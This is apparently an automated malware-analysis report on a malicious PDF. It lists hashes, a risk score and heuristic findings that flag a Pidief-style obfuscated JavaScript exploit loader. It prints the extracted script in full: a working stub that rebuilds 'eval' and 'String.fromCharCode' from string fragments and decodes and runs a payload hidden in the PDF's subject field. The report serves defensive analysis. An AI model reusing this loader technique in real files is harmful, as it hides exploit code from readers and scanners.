Malicious PDF — malware analysis report

Static analysis result for SHA-256 cf2260bf62a33b0e…

MALICIOUS

PDF

45.2 KB Authoring application: substr First seen: 2012-10-03
MD5: 945b3401d68a7e84a30d436fc17a2b84 SHA-1: c5f21b04e1ae4cf45762ea48dc418eb78d724cbd SHA-256: cf2260bf62a33b0ee087bdc07554334a488b85d2b169130b34d18acad38e081e
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB22A 446 bytes
SHA-256: bf0d873a3c489c5614d4b6a54897ff37a92d2da50229df2479c39e994184af7e
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
kdof=e('ti'.concat(v[4],t));
q=kdof[v](a.length-6,a.length+2);
eln=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=kdof[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	lkahk = 1*(q[i]);
	i++;
	lkahk -= (-1)*(q[i]);
	s2 = s2.concat(eln(lkahk));
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.